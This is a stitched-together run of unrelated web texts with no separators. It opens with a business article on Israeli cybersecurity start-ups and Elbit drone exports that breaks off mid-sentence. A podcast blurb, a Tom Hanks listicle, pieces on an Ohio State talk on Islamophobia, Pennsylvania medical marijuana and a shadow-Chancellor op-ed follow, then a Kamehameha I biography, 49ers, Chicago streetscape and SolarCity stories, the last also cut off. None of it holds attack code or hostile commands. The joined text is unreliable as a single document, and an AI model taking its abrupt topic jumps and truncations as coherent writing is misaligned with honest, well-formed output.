Last year CyberArk posted a 158 percent rise in net income, to $25.8 million, as revenue rose 56 percent, to $161 million. The company has seen its stock price nearly treble since its IPO, to $45.20 on October 19, giving it a market cap of $1.55 billion. CyberArk took advantage of its post-IPO heft to acquire two Israeli start-ups last year: It purchased Cybertinel, a specialist in sophisticated cyberattacks, for $20 million and paid $30.5 million for Viewfinity, a specialist in endpoint security.
Some Israeli cybersecurity companies have remained close to their military intelligence roots. A majority of my friends both in my professional and personal life are from Unit 8200, says Idan Tendler, who co-founded Fortscale four years ago and serves as its CEO. Even my wife is from the Israeli intelligence community.
Privately owned Fortscale, which has its headquarters in San Mateo, California, and its R&D center in Tel Aviv, seeks to protect its 2,000 large corporate clients from cyberthreats linked to their own employees. We provide these companies with the ability to find malicious employee behavior employees who decide to leak data and steal information, as we saw in the [Edward] Snowden case, Tendler says. We profile employees to detect this behavior.
Fortscale uses some of the same techniques Tendler and his colleagues learned in their intelligence work tracking potential security suspects on the Israeli-occupied West Bank. It might involve an employee who recently was given access to his companys most sensitive products or services and who has suddenly changed behavior staying in the office until 2:00 a.m. or accessing the company data from a home computer. Fortscale uses data mining, machine learning, and analytics to determine if the employee is abandoning usual routines.
Often the employee isnt the culprit. According to Tendler, in 80 percent of attacks coming from outside an enterprise, a hacker has hijacked the credentials, user name, and password of an employee. Making it even more difficult to detect an attack, a hacker might steal the identity of an outside contractor or vendor. This was the case at Target Corp. when hackers used the credentials of the discount chains air-conditioning vendor to steal the credit and debit card information of some 70 million Target customers during the Christmas 2013 shopping season.
A variety of Israeli companies have been created to cope with cyberthreats that havent yet materialized. One such start-up, Argus Cyber Security, offers protection against malware for the automotive industry as it enters the age of semiautonomous and self-driving vehicles. Over the next ten years, autonomous and connected vehicles are going to become one of the great revolutions of our time, predicts Ofer Ben-Noon, CEO and co-founder of Argus, launched in Tel Aviv in 2013.
Ben-Noons two previous ventures a cybersecurity start-up to protect smartphones from hackers and a platform that syncs social networking and academic information for students werent commercial successes. But when he pitched Argus to Magma Venture Partners, a Tel Avivbased venture capital firm with more than $500 million under management, Magma agreed to provide early-stage financing. In Israel, as long as an entrepreneur shows that he learns from a failure, it wont be held against him, says Yahal Zilka, Magma co-founder and managing partner.
Magma had already provided early financing for another Israeli cyberera automotive start-up: Waze, known for its mapping app, was acquired by Google in 2013 for $1.1 billion to advance the U.S. companys self-driving-car program. We familiarized ourselves with the automotive industry through Waze, Zilka says. So when Argus approached us, we immediately understood that a connected vehicle would require cybersolutions that arent yet offered by any existing technology.
Arguss leading product analyzes all Internet communications to and from a motor vehicle. If a hacker attacks the brake system, for example, Argus detects the malware in real time and blocks it before the brakes fail. The product, known as IDPS, is designed for both individual cars and commercial fleets.
The Israeli cybersecurity industry has mushroomed only in the past decade, but the countrys involvement with UAVs has a much longer history. Israel began to develop drones in the aftermath of the so-called Yom Kippur War, in October 1973. A surprise attack by Egypt initially pushed Israeli forces far back from their front line along the Nile River. Then a barrage of antiaircraft missiles knocked 102 Israeli planes out of the sky. The war exposed two profound weaknesses in Israeli defense: an inability to closely survey enemy forces behind the lines and the countrys small pool of increasingly vulnerable pilots. The obvious solution was an unmanned aircraft that could carry out a variety of missions and stay aloft longer than piloted planes at a fraction of the cost.
Unlike Israeli cybersecurity start-ups, drone development and entrepreneurs came out of the Israeli Air Force and state-owned Israel Aerospace Industries. Many of them joined Elbit Systems. From his 34th-floor office in downtown Tel Aviv, CFO Gaspar can see the blue-green waters of the Mediterranean rippling on the horizon, but closer by is what he considers the best part of the view: the white-towered Ministry of Defense headquarters, bristling with antennae. They are our most important client, he explains.
Founded 50 years ago and based in Haifa, Elbit has grown into a high-tech conglomerate of 12,000 employees working on ten mainly defense-related programs, including aircraft, naval vessels, land vehicles, communication systems, and electronic warfare. The company generated 27 percent of its $3.1 billion in sales last year in North America, 26 percent in Asia, and 20 percent in Israel. Earnings rose 18.7 percent last year, to $203 million. Elbits shares, which trade on the Nasdaq Stock Market and the Tel Aviv stock exchange, rose 27 percent in the 12 months ended October 20, to $96.70.
The company doesnt break out its UAV sales, even though it is the worlds biggest maker of military drones and claims 85 percent of Israeli drone exports. According to the Stockholm International Peace Research Institute (SIPRI), which tracks global arms sales, no country has exported more military drones over the past three decades than Israel although the U.S. has taken the lead in the past two years.
Over the past decade Elbit has sold more than $1 billion in drones and UAV services to the U.K. despite the growing boycott movement there against Israel. And last year the company inked a $200 million drone deal with Switzerland. At any moment, at least 20 Elbit drones which are used for |
the seemingly endless smorgasbord of Dark Knight goodies that DC Comics and Warner Bros have been cooking up all year. However, after greedily gobbling up Suicide Squad, Killing Joke and Rebirth for this month’s episode of EPIC PIEcast, our co-hosts find themselves with stomachaches. Later, LA-based rapper Coolzey makes a tour pit stop at Studio #6C for a one-on-one chit-chat with Schaffer about life on the road and the thrill of challenging audience expectations. How many LL Cool J lyrics can Lugo recite? Where did Schaffer bomb the hardest? Did Coolzey know about the gun in the van? These questions will appear in the show notes of this month’s episode.
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Social NetworkingsYou know Tom Hanks rules, it's just a fact of life like plants needing water or your aunt being drunk at Thanksgiving. That's why during this grateful season we've gotta give thanks to the Hanks. Here's 13 reasons to be Hankful this year.
1. For showing that he deserves his awards
Look at that swag. It's impeccable. Stay gangsta, Hanksta.
2. For going along with your fan's weird requests
(Source: eonline )When it comes to goin' with the flow, Tom has got it under his belt. "Oh, you want me to pretend you're passed out drunk at dinner for some reason? No problem!" You do it for the fans and we appreciate that.
3. For performing slam poetry about Full House on Jimmy Fallon
What's better than 90's smash hit "Full House"? Uhm, how about Tom Hanks raising some of the most provocatively profound questions about the characters in the artful form of slam poetry? This deserves a round of snaps.
4. For having a surviving perfect Hollywood marriage with Rita Wilson
(Source: NYP ost )Talk about a fairytale romance. The kind that won't leave you heartbroken (cough cough Will Arnett and Amy Poehler). I mean, look at them. Awww/vom but them mostly awww, ammirite?
5. For those sweet baby blues
(Source: thumbsforhire )Swoon. Just look at those beauts. Are his eyes even blue? It's like looking out at the calm ocean after a storm. These are something we should all be thankful for.
6. For encouraging us to throw out our trash
(Source: neatorama )The next time you think about littering, just think about Tom Hanks. He doesn't want you to pollute this earth that we've all come to love. Be like Hanks, don't pollute.
7. For taking a typewriter as a bribe
(Source: mashable )All you have to do to get Tom Hanks on a podcast is get him something neat from a vintage store. Then he'll write you an amazingly quippy letter about how cool that gift is. The real gift is that you do you, T. Hanks.
8. For eloquently slipping "Good Morning America" the F-word
You can't blame Tom for "slipping into a brand of acting." He's an actor, that's what he does! For all the children who's fragile ears were listening that morning, you just heard what a man sounds like. Be grateful.
9. For having the power to name a child Chester and then allow him to have a "rapping" career
(Source: filmdrunk.uproxx )Y'know, we give Hanks props. He's just letting Chet Haze be himself; even if that means being kind of. a douchebag. Tolerable father of the year, ammirite guys?
10. For doing a fake Toddlers and Tiaras segment for Jimmy Kimmel
(Source: brijam Not only does he do it, Hanks gets into it. I mean, seriously, look at him twirl in that sparkly pink dress. Honey Boo Boo would be so proud!
11. For making everyone laugh at Michael Clark Duncan's memorial service Funerals are rough, and generally aren't a time where people are laughing. But Tom Hanks, man. When he told that awesome anecdotal story about Michael Clark Duncan trying to join a gang, everyone's face lights up. Thanks for cheering people up during a dark time, Mr. Hanks.
12. For goofing the weather segment on Spanish Television
(Source: cheezburger Oh Tom Hanks, que estás tan divertido! I'm sure you already know what that means, Tom, but for our non spanish-speaking audience that means he's so much fun! I mean, look at him dancing in front of that doppler radar weather map. Shake what your momma gave you, weatherman Hanks.
13. For not being afraid to show his feminine side
(Source: rentcafe )Let's time travel back to the '80's when Tom Hanks starred in the show 'Bosom Buddies". A true man isn't afraid to show a little cleavage. And we love your man cleavage, your meavage, Mr. Hanks. Thanks for doing all you do and have a happy Thanksgiving!The Ohio State University’s Middle East Studies Center in partnership with the Multicultural Center is set to host author Nathan Lean to discuss the “pernicious phenomenon” of Islamophobia.
The event, slated for Monday, comes roughly three months after a Somali refugee student plowed a car into a crowd of Ohio State students before stabbing several of them with a butcher knife. In the past, that student had praised an al-Qaeda leader as a “hero” and criticized America for interfering in the Middle East.
Lean, author of “The Islamophobia Industry: How the Right Manufactures Fear of Muslims,” is a researcher focused on Islam, Islamophobia, the Middle East, Muslim-Christian relations, and other issues, his website states.
“The fear that the Islamophobia Industry has manufactured is so fierce in its grip on some populations that it drives them to do the unthinkable,” states Lean’s book summary on Amazon.
During his discussion at Ohio State he seeks to evaluate Islamophobia’s “causes, consequences, and highlight some of the underlying dynamics that have animated it in recent history,” OSU’s website states.
He will also offer “key insights on how students, scholars, and members of community at large can counter instances of prejudice and help realize a world that values pluralism and diversity,” it adds.
The webpage for the event also notes that “prejudice towards and discrimination of Muslims has reached a fevered pitch. Beyond blatant physical attacks or acts of vandalism, polls show that negative sentiment towards the followers of Islam runs deep, and has manifested itself in a range of ways.”
His talk will delve into this “pernicious phenomenon,” the site states.
Meanwhile, at least one student at Ohio State wonders where the counter-side to this discussion is.
When a third year finance major at Ohio State was asked if he has witnessed any prejudice or discrimination against Muslims on campus, he told The College Fix “no, none at all.”
He asked to not be identified as he feared potential retaliation from the OSU administration.
“I will spout off about any other topic, but OSU has made it clear that this topic is untouchable,” he told The Fix. “I feel as a student at a public institution that I am being silenced. If I am a free thinker I should be allowed to question Islam, its writings, its prophet, and teachings just like fundamentalist Christian values are questioned everyday here at OSU. This does not promote dialogue but rather writes everyone right of the aisle off as the potential perpetrators of hate crimes.”
Alam Payind and Melinda McClimans, director and assistant director of the Middle East Studies Center at Ohio State, did not comment when asked by The College Fix if Ohio State was aware of or had any reported acts of prejudice or discrimination against Muslims at OSU.
They did say, however, that this is event will provide “multiple perspectives on the Middle East.”
“We consider it a normal academic exercise to create thoughtful spaces for discussion of controversial issues related to the Middle East and Middle Eastern cultures. This includes both prominent anti-Islamic views, and the issues of violent extremism. For example, after recent terrorist activities by al-Qaida, ISIL, Hamas, Taliban, and Alkhorasan, we produced several videos on jihadi extremist groups. And we are actively engaged with all branches of the military to educate officers, soldiers and sailors who are about to deploy,” they said in an e-mail to The College Fix.
They went onto say that since its designation as a National Resource Center by the U.S. Department of Education in 1981, the Middle East Studies Center at the Ohio State University has supported teaching, research and outreach activities relevant to the Middle East in “a balanced and scholarly fashion.”
“In the past 36 years, we have strictly followed the principles of academic freedom, based on the guidelines of both the Ohio State University and the U.S. Department of Education,” they said.
MORE: Ohio State student: ‘After terrorist attack I’ve learned Left’s more scared of Trump than ISIS’
MORE: New Ohio State course extols Muslims’ role in America from its founding to present day
Like The College Fix on Facebook / Follow us on TwitterAdvertisement Pennsylvania Senate's medical marijuana bill hits opposition Share Shares Copy Link Copy
The Pennsylvania state Senate's bill legalizing medical marijuana has landed in a House committee headed by a Republican who opposes the authorization of any drug without the federal government's approval first. House Health Committee Chairman Matt Baker said Friday he has no plans to take up the Senate's medical marijuana bill -- or any medical marijuana bill, for that matter. Vote: Should Pennsylvania legalize marijuana?The Tioga County lawmaker says Pennsylvania's Legislature has never approved a drug outside the U.S. Food and Drug Administration's approval process. Baker says his position is identical to the Pennsylvania Medical Society's stance. House officials say Rep. Jim Cox of Berks County is drafting medical marijuana legislation that could eventually be amended into a separate bill outside of Baker's committee. Gov. Tom Wolf, a Democrat, supports legalizing medical marijuana.--------------------------------------------------------------------------(An earlier story published by The Associated Press on May 12 appears below.)State senators voted Tuesday for a second time to send legislation to legalize medical marijuana to the House of Representatives, where the GOP majority has held hearings but otherwise given no certain signs of support. The 40-7 vote came seven months after senators passed an earlier bill that died in the House. Every Democrat voted yes, as did 21 of 28 Republicans, including Senate President Pro Tempore Joe Scarnati, R-Jefferson, and Senate Majority Leader Jake Corman, R-Centre. Gov. Tom Wolf, a Democrat who took office in January, supports the legalization of medical marijuana. However, leaders of the House Republican majority are not saying whether they support the Senate's approach or if they will advance their own legislation. "We have not looked at it, but we will once it gets here," said Steve Miskin, a spokesman for House Majority Leader Dave Reed, R-Indiana. Miskin also said many House Republicans believe the federal government should take the lead on the matter, considering that it still classifies marijuana as a drug with no accepted medical use and a high potential for abuse. Sen. Mike Folmer, R-Lebanon, shot back that the government should not stand in the way of a patient and his or her medicine. "I think this is a state's rights issue and I think this is a right of Pennsylvania to decide what they want to do and how we want to take care of our patients and how we want to allow our sick people to take control of their health," Folmer said. He said he believes the necessary support exists in the House to pass a medical marijuana bill, thanks to the same people who propelled the Senate's vote: parents who believe a marijuana oil extract can help their seizure-wracked children. According to the marijuana advocacy group NORML, 36 states and Washington, D.C., have legalized some form of medical marijuana. Under the legislation that passed Tuesday, a state board would be created to license growers, dispensers and processors. Sen. Pat Vance, R-Cumberland, a former pediatric nurse who voted against the bill, said she suspects that marijuana cannot do all the things that people want it to do. The American Medical Association and the Pennsylvania Medical Society oppose the bill, and the American Epilepsy Society found that it did not significantly reduce seizures, she said. "Now, I know that's not what people want to hear, but those are the facts as I know it," Vance said. She also said that federal law makes it illegal for doctors and nurses to prescribe marijuana because it is a Schedule 1 drug, that banks would not take money from the sale of marijuana and that pharmacists would be replaced by yet-to-be-created dispensers. "What kind of kind of qualifications will a dispenser have?" Vance questioned. The newest bill includes tighter controls to track transactions and an expanded list of eligible medical conditions, including diabetes, Crohn's disease and chronic or intractable pain that has proven otherwise untreatable. It also expands the methods of delivery to include vaporization along with oils, pills, liquids, gels, ointments and tinctures. Edible products and smoking it would not be allowed. Under the proposal, patients would need a written certification from a doctor or nurse confirming that they have a qualifying medical condition and are likely to benefit from a prescription.-------------------------------------------RELATED: 10 diseases medical marijuana fightsRELATED: A state-by-state look at marijuana lawsGeorge Osborne will use the debate on his Charter for Budget Responsibility to stage a piece of political theatre.
The Chancellor stood before us five years ago and pledged to eliminate the deficit by 2014-15. He failed and now he’s back to ask for another five years.
Much has been made of my change in decision regarding Wednesday’s vote. Initially I thought it best to treat the vote with the contempt it deserved, vote for the Charter, avoid claims of deficit denial and move on. The gathering economic storm clouds and the implications of the Charter in terms of cuts to services, tax credits cuts for millions of families, and constraining investment for the future have become much clearer and have persuaded me Labour should not be associated with it at all.
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Let’s be clear. We have changed our position with regard to the vote, or the Parliamentary tactics around what is clearly a political stunt, but we have not changed in our clear and consistent principles.
Our underlying commitment to tackling the deficit has not deviated and nor has our vow not to do so on the basis of unprecedented attacks on our public services or by punishing middle and low income earners for a crisis they did not cause. We will balance the country’s finances by ending the unfair tax cuts to the wealthy, opposing austerity, tackling tax evasion and avoidance and investing for growth.
Let’s be clear about one thing: George Osborne’s austerity approach to deficit reduction has failed, yet now he hopes we will fall for it again.
Time and time again the Conservatives’ date for balancing the budget has been pushed back as his inflexible approach to cutting the deficit fails. Decimating our public services without regard for the Government’s role in stimulating economic activity has not delivered what he promised, but he hopes trying the same thing again might deliver different results. Even worse, he is playing Westminster games by pretending he wants Parliament to tie his hands for the future.
Of course, we recognise that the long-term financial welfare of our people relies on ensuring that the public finances are on a sound footing. As I wrote in The Guardian two months ago: Labour under Jeremy Corbyn is committed to eliminating the deficit and creating an economy in which we live within our means.
We will soon be consulting with our Economic Advisory Committee on a statement of fiscal principles and a detailed strategy for reducing the deficit. But we are firmly resolved that this deficit reduction must be carried out in a just way which does not punish pensioners, young people and those who rely on tax credits.
We will do so by looking at expenditure but also by looking at new ways to stimulate economic growth, while this Chancellor seems to be determined to shirk his responsibilities for building a strong economy for the future.
As a proportion of GDP, total investment in the UK remains well below other G7 countries and has fallen even further behind in recent years. Productivity also lags behind G7 competitors more than at any point since 1991.
The OECD reported in June that the UK needs stronger investment, due to the low perceived quality of infrastructure. And while we welcome the Chancellor’s conversion to the idea of a National Infrastructure Commission, it will achieve precious little as long as it relies for finance on flogging off more state assets.
Many academic and applied economists have joined the political commentators in seeing through Mr Osborne’s charade
This doesn’t just harm our economic future. Whether it is the National Grid warning about the level of spare capacity, the shortage of teachers or the number of small construction firms struggling to find qualified bricklayers, there are constraints on growth which are affecting output now and will continue to do so unless something is done.
The global outlook is unclear, with the IMF cutting their growth forecasts, emerging markets performing at their weakest since 2009, concern about the global impact of interest rate rises in the USA and a deepening recession in Brazil.
In this context, ruling out the possibility of productive capital investment would be extremely foolish. A binding commitment to inflexible surpluses is, as I outlined in interviews earlier this month, incompatible with macroeconomic theory and practice. Many academic and applied economists have joined the political commentators in seeing through Mr Osborne’s charade.
A strategic state works in partnership with businesses, entrepreneurs and workers to stimulate growth. A strategic approach to Government creates the opportunity for massive advances in technology, skills and organisational change that will drive up productivity, create new innovative products and new markets.
The Labour Party under Jeremy Corbyn will take a strategic approach to planning for the economy of the future, taking seriously the many challenges at home and abroad, and will not support proposals which would hinder a future Chancellor from doing the same.
John McDonnell is shadow Chancellor
We’ll tell you what’s true. You can form your own view.
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Subscribe nowWhile it’s all well and good for us adults to stand up for gender equality in kids’ products, there’s something about kids themselves taking retailers to task for not giving both boys and girls a fair shake. Leading the pack of girls who aren’t about to take a boys-only view of the sports world this week is a 12-year-old who was so disappointed in Dick’s Sporting Goods for not featuring women in a recent basketball catalog, she took the company to task in a scathing, informed and otherwise wonderful letter.
Showing everyone else how it’s done in a letter addressed to Dick’s Sporting Goods and posted by her dad on Twitter — sports writer Chris Peterson — the middle school basketball player lays it on the line (h/t Jezebel).
She points out that she herself, plays basketball, and enjoys watching the sport so much, she had season tickets for her state women’s team, the Phoenix Mercury.
“I don’t know if you are keeping track of the ladies sports world, but they are the Western Conference Champions AND the League Champions of 2014,” she points out, rattling off some other key players in the sport.
Her point, however, is that “There are NO girls in the catalog!” Except, she adds, the girl sitting in the stands on one page, some cheerleaders on coupons and a reference to women on one page for shoes.
“It’s hard enough for girls to break through in this sport as it is, without you guys excluding us from your catalog. Girls buy stuff from your store,” she very eloquently adds. “In fact, my last two pairs of basketball shoes were purchased at Dicks, as well as my hoop and practice equipment. Maybe my dad will take me to some other store that supports girls to actually PLAY basketball and follow their dreams and not sit on the sidelines and watch the game to get my next pair of shoes and equipment.”
OH SNAP, MCKENNA! Here’s where we high five.
She goes on to say that she looks forward to seeing girls in the next basketball catalog, and is considerate enough to compliment Dick’s staff for being “very friendly and kind” when she goes there to get new shoes.
She signs it, adding, “The Fabulous Basketball Player.” Fabulous, indeed.
Her dad’s tweet:
My 12yr old basketball loving daughter got the latest @DICKS catalog & had a big problem with it. She wrote a letter. pic.twitter.com/MH46ktNOaw — ChrisPetersonTCS (@TheCheapSeatsTV) October 9, 2014Kamehameha I ( Hawaiian pronunciation: [kəmehəˈmɛhə]; c. 1736? – May 8 or 14, 1819 ), also known as Kamehameha the Great (full Hawaiian name: Kalani Paiʻea Wohi o Kaleikini Kealiʻikui Kamehameha o ʻIolani i Kaiwikapu kauʻi Ka Liholiho Kūnuiākea), was the founder and first ruler of the Kingdom of Hawaii. A statue of him was given to the National Statuary Hall Collection in Washington, D.C. by the state of Hawaii as one of two statues it is entitled to give. Contents
Birth and childhood
Parentage Kamehameha is considered the son of Keōua, founder of the House of Keoua, and Kekuʻiapoiwa II, however sources confirm that Kamehameha was told by Kame'eiamoku, one of the Royal twin sons of King Kekaulike and the father of Hoapili, that he was actually the son of Kahekili II and was handed tokens as proof of this.[2] Kaheliki II's kingdom encompassed seven of the Hawaiian Islands except the Island of Hawaiʻi and paved the way for the creation of a unified Kingdom of Hawaii by Kamehameha I. Keōua, on the other hand, and Kekuʻiapoiwa were both grandchildren of Keaweʻīkekahialiʻiokamoku, Aliʻi nui of the island of Hawaiʻi, and came from the district of Kohala. Hawaiian genealogy notes that Keōua may not have been Kamehameha's biological father, suggesting instead Kahekili II of Maui. Either way, Kamehameha was a descendant of Keawe through his mother. Keōua acknowledged him as his son and this was recognized in some official genealogies. Birth dating Accounts of Kamehameha I's birth vary but nearly all sources place his birth between 1736 and 1761. An early source is thought to imply a 1758 dating due to the significance of the date matching a visit from Halley's Comet and being close to the age Francisco de Paula Marín estimated. This dating however, does not work for many well known accounts of the subject such as being a warrior with his uncle, Kalaniʻōpuʻu or being of age to produce his first children. The dating also places his birth after the death of his father. 1736 Hawaiian historian Samuel Kamakau published an account in the Ka Nupepa Kuokoa in 1867 placing the date around 1736. Kamakau wrote, "It was during the time of the warfare among the chiefs of [the island of] Hawaii which followed the death of Keawe, chief over the whole island (Ke-awe-i-kekahi-aliʻi-o-ka-moku) that Kamehameha I was born". However, his general dating has been challenged as twenty years too early over issues involving Kamakau's inaccuracy of dating and the accounts of foreign visitors. Regardless Abraham Fornander wrote, "An Account of the Polynesian Race: Its Origins and Migrations": "when Kamehameha died in 1819 he was past eighty years old. His birth would thus fall between 1736 and 1740, probably nearer the former than the latter". A Brief History of the Hawaiian People by William De Witt Alexander lists the birth date in the "Chronological Table of Events of Hawaiian History" as 1736. 1753 In 1888 the Kamakau account was challenged by Samuel C. Damon in the missionary publication; The Friend, deferring to a 1753 dating that was the first mentioned by James Jackson Jarves. Regardless of this challenge the Kamakau dating was widely accepted due to support from Abraham Fornander. Concealment, childhood At the time of Kamehameha's birth, Keōua and his half-brother Kalaniʻōpuʻu were serving Alapaʻinui, ruler of Hawaiiʻs island. Alapaʻinui had brought the brothers to his court after defeating both their fathers in the civil war that followed the death of Keaweʻīkekahialiʻiokamoku. Keōua died while Kamehameha was young, so Kamehameha was raised in the court of his uncle, Kalaniʻōpuʻu. The traditional mele chant of Keaka, wife of Alapainui, indicates that Kamehameha was born in the month of ikuwā (winter) or around November. Alapai had given the child, Kamehameha, to his wife, Keaka, and her sister, Hākau, to care for after the ruler discovered the infant had survived. On February 10, 1911 the Kamakau version was challenged again by the oral history of the Kaha family, as published in newspaper articles also appearing in the Kuoko. After the republication of the story by Kamakau to a larger English reading public in 1911 Hawaii, this version of the story was published by Kamaka Stillman, who had objected to the Nupepa article. Her version is verified by others within the Kaha family.
Unification of the islands
Aliʻi nui of the Hawaiian Islands
As ruler, Kamehameha took steps to ensure the islands remained a united realm after his death. He unified the legal system. He used the products collected in taxes to promote trade with Europe and the United States. The origins of the Law of the Splintered Paddle are derived from before the unification of the Island of Hawaiʻi. In 1782 during a raid Kamehameha caught his foot in a rock. Two local fishermen, fearful of the great warrior, hit Kamehameha hard on the head with a large paddle, which broke the paddle. Kamehameha was stunned and left for dead, allowing the fisherman and his companion to escape. Twelve years later, the same fishermen were brought before Kamehameha for punishment. The king instead blamed himself for attacking innocent people, gave the fishermen gifts of land and set them free. He declared the new law, "Let every elderly person, woman and child lie by the roadside in safety." This influenced many subsequent humanitarian laws of war.[citation needed] Young and Davis became advisors to Kamehameha and provided him with advanced weapons that helped in combat. Kamehameha was also a religious king and the holder of the war god Kukaʻ ilimoku. Vancouver noted that Kamehameha worshiped his gods and wooden images in a heiau, but originally wanted to bring England's religion, Christianity, to Hawaiʻi. Missionaries were not sent from Great Britain because Kamehameha told Vancouver that the gods he worshiped were his gods with mana, and that through these gods, Kamehameha had become supreme ruler over all of the islands. Witnessing Kamehameha's devotion, Vancouver decided against sending missionaries from England.
Later life
After about 1812, Kamehameha spent his time at Kamakahonu, a compound he built in Kailua-Kona.[citation needed] As was the custom of the time, he had several wives and many children, though he outlived about half of them.[citation needed] Final resting place When Kamehameha died on May 8 or 14, 1819, his body was hidden by his trusted friends, Hoapili and Hoʻolulu, in the ancient custom called hūnākele (literally, "to hide in secret"). The mana, or power of a person, was considered to be sacred. As per the ancient custom, his body was buried in a hidden location because of his mana. His final resting place remains unknown. At one point in his reign, Kamehameha III asked that Hoapili show him where his father's bones were buried, but on the way there Hoapili knew that they were being followed, so he turned around.[page needed]
Family
Citations
ReferencesSANTA CLARA, Calif. -- To understand the San Francisco 49ers' approach to this free-agent period, there's an easy analogy right here in the heart of the Silicon Valley.
Under the guidance of new general manager John Lynch and coach Kyle Shanahan, both of whom come armed with six-year contracts that indicate they'll be given plenty of time to execute their plan, the 49ers know they aren't going to be able to pull off a miraculous one-year turnaround. Instead, they're taking the long view.
Which is why it's easy to think of the current 49ers like an incubator for a bunch of tech startups. In the opening days of free agency, the Niners were among the most active teams in the league, signing a whopping 11 players. None of those signings broke the bank, but many of them came with experience in and knowledge of Shanahan's offensive scheme or coordinator Robert Saleh's defensive system.
With a few possible exceptions, most of those additions probably won't play integral roles if and when the 49ers become full-fledged contenders again. But that isn't really the point. The point seems to be to find players who can help build the culture for the younger players who will be the central focus of the rebuild for the long term.
In the process of those signings, the 49ers kept plenty of salary-cap flexibility. As of Tuesday, they still had $73.9 million in cap space, which is the most in the league -- to make bigger splashes (cough, Kirk Cousins, cough) in the coming years when they're closer to being competitive.
Brian Hoyer isn't a long-term solution for the 49ers, but the free-agent quarterback can help start the building process. AP Photo/Ben Margot
"We saw guys on film that we loved the film, but there's more to it as we've discussed," Lynch said. "We've got guys of high character on and off the field. And Kyle does a great job; when we're watching film, one phrase he uses a lot is 'What it takes.' What it takes to win championships and all of these guys fit in that mold."
"I think we were very strategic setting out with where we felt we needed to improve our team. But then, let's not do it just with any player. Let's find if there's people out there that fit what we're looking for. And I've described, I think that's one thing we've done extremely well is get a great definition, have it clearly defined what we're looking for at each position and the type of person. That's what we did from the outset. And so I think while there's a lot of numbers, we didn't reach for anything. We found guys that fit it; if not, we'll wait. So I think while the numbers are big and we're really happy about that, we felt like we found guys that we were excited about being here. Not just getting guys because we needed guys."
At the center of that approach was adding players whom Shanahan trusts and believes in. It's common practice around the league for new coaches and general managers to bring in players and assistant coaches they know. It can become something of a crutch, especially for first-time coaches, but it also can be beneficial if that coach knows what he's getting.
"The advantage to having been with someone is you know what type of guy they are," Shanahan said.
In the case of the 49ers, players such as receivers Pierre Garcon and Aldrick Robinson, quarterback Brian Hoyer and tight end Logan Paulsen have enjoyed some of their best seasons while playing for Shanahan. Linebacker Malcolm Smith played for Saleh in Seattle. While all will be counted on to contribute on the field and help the Niners improve upon their two wins of a season ago, their responsibilities will go beyond that.
"I don't mind help setting the tone," Garcon said. "That’s what I want to do, too, I have got a lot to prove to myself and for the team and for Kyle, I’ve got to make everybody look good for bringing me here. So I definitely want to set the tone, set the bar high and just make the plays that we’re supposed to make and win games and keep moving forward."
According to Garcon, Shanahan's offense is complicated, but it's not so complicated that young players will necessarily struggle to learn it. Still, the time will come soon enough that the 49ers will lean on a variety of young players to take the reins and play bigger roles. If players familiar with Shanahan can help expedite that process, all the better.
It's a sentiment Hoyer echoed and expanded upon, especially considering the nature of his position.
"It's kind of funny, when you talk about the analogy of riding a bike once you get back on it, I know that in this brain somewhere all of that stuff is filed and stored," Hoyer said. "I'll go back and grab all my old Cleveland stuff and go back and start breaking it down so that way when we start up in April, I can come in and try to help as many people as I can."
Of course, the 49ers' approach will ultimately come down to how well they draft and develop more so than their spending in free agency. For now, at least the plan is clear and the first step is complete.
"Everything with us starts with what we see on tape and all these guys I respect the heck out of them as football players," Shanahan said. "It starts there, but the tape isn't where it ends. We want to bring in here high-character people in this building that do things the right way and are football players. We're very confident in all these guys. It's going to be part of the process of us winning games. We know it's going to be hard work. It's not going to be easy, but it's going to be worth it and bringing these guys in is going to help us do that."Eyes on the Street: Half-Finished “Lincoln Hub” Is Already Improving Safety
Last week, construction started on the “Lincoln Hub,” a traffic calming and placemaking project at Lincoln/Wellington/Southport, and the intersection has already been transformed for the better. The makeover is part of a larger $175K streetscape project that Special Service Area #27 and the Lakeview Chamber of Commerce are doing on Lincoln from Diversey to Belmont, slated for completion around May 22.
The Lincoln Hub will feature Chicago’s first painted curb extensions, with planters and flexible posts to keep cars out of the pedestrian space and shorten crossing distances. There will also be small seating plazas at the northwest and southeast corners of the six-way intersection. Patterns of blue and green dots will be painted on the sidewalks in a pattern reminiscent of an Oriental rug, which will help visually unify the intersection.
The plastic posts have already been installed, and a number of round, concrete seating units have already been delivered, although most of them have not been unwrapped yet. These changes have already affected how people use the intersection. When I visited during the evening rush yesterday, car traffic was moving slowly, but steadily, and the neckdowns didn’t seem to be creating congestion issues.
The elimination of three slip lanes was slowing down turning drivers, creating a safer situation for pedestrians. People on foot, including many seniors and families with young children I observed, seemed to appreciate shorter crossing distances, although I didn’t see many people lingering on the car-free asphalt surfaces. This will change after the curb extensions are painted and the planters and seating are in place. It will be exciting to see how residents take advantage of their new, people-friendly space once it’s completed.
View more photos of the Lincoln Hub here.When SolarCity, one of the nation's largest solar installers, opened a flagship training center near Las Vegas, the press release that accompanied the launch included glowing praise (and a little self-congratulation) from Gov. Brian Sandoval:
"I'm proud to celebrate the opening of SolarCity's new training center, which will make Nevada the regional hub for training workers in the jobs of the 21st century. Our homegrown solar industry has already created over 6,000 good Nevada jobs, and has tremendous potential to continue driving innovation, economic diversification, and opportunity in the Silver State."
Fast forward a couple of months, and SolarCity has just announced that it is closing the center, quitting the state and that it can't even get Gov. Sandoval on the phone to discuss what went wrong.
So what's going on?
As reported over at GreenTech Media, the state's Public Utility Commission recently approved cuts to net metering rates as well as higher fixed charges for homeowners who went ahead and installed solar. It's no surprise that solar companies don't like this. Net metering and other incentives have proven crucial in supporting the nascent solar industry, allowing it to grow even in chilly northern states. And given the astounding levels of subsidies received by fossil fuels, not to mention the competitive advantages enjoyed by state-regulated monopolies, even many free-market conservatives have found themselves sympathetic to the arguments that solar deserves some levels of financial support to level the playing field.
What's really gotten solar companies riled up, however, is the fact that Nevada's changes to solar policy are being retroactively applied — meaning homeowners who made the decision to go solar based on one set of government policies are now being punished by a retroactive policy change that will leave many significantly |
